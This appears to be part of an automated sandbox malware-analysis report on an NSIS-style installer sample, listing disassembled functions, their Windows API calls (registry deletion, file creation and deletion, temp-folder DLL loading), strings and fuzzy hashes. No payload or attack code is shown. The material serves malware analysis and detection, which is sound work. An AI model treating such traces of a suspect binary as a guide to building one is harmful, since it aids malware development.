Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Strings

Calibri, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 100022D0 Relevance: 9.1, APIs: 6, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(?), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(?,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 00402870 Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\ppISxhDcpF.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GlobalAlloc.KERNEL32(?,?), ref: 00402894
CloseHandle.KERNEL32(?), ref: 00402914

Part of subcall function 00403258: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC

Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403091
Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403138
Part of subcall function 00403027: MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
Part of subcall function 00403027: wsprintfW.USER32 ref: 00403174

DeleteFileW.KERNEL32(?), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FileGlobal$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerwsprintf
String ID:
API String ID: 2082585436-0
Opcode ID: a6b29bbfff6bedb85eff617e0f32f780eda951c653e88163e3cff6ef8cd4870b
Instruction ID: f11faf613eabf70f6da5efab5544ef3b1f343b4f82166007b8c29dabf9a1b1c4
Opcode Fuzzy Hash: a6b29bbfff6bedb85eff617e0f32f780eda951c653e88163e3cff6ef8cd4870b
Instruction Fuzzy Hash: D0217C72800118BFCF116FA5CE4889E7EB9EF09324F24423AF554762E0C6795D81DB68

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nscAF7B.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nscAF7B.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nscAF7B.tmp, xrefs: 0040257C
C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nscAF7B.tmp$C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll
API String ID: 3109718747-1554261229
Opcode ID: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(?,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405B11 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11
4Wu, xrefs: 00405B13

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4Wu$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3057243036
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F90

Strings

Call, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

